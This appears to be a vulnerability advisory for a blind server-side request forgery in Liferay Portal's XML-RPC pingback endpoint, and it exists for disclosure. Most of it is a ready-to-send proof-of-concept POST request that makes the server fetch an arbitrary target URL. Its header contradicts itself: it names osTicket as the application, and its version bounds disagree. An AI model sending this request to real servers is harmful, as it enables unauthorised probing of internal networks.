1. ADVISORY INFORMATION ======================================== Title: Liferay Portal < 7.0.4 Blind Server-Side Request Forgery Application: osTicket Remotely Exploitable: Yes Authentication Required: NO Versions Affected: <= 7.0.4 Technology: Java Vendor URL: liferay.com Date of found: 04 December 2017 Disclosure: 25 June 2018 Author: Mehmet Ince 2. CREDIT ======================================== This vulnerability was identified during penetration test by Mehmet INCE from PRODAFT / INVICTUS 3. Technical Details & POC ======================================== POST /xmlrpc/pingback HTTP/1.1 Host: mehmetince.dev:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 361 <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>pingback.ping</methodName> <params> <param> <value>http://TARGET/</value> </param> <param> <value>http://mehmetince.dev:8080/web/guest/home/-/blogs/30686</value> </param> </params> </methodCall>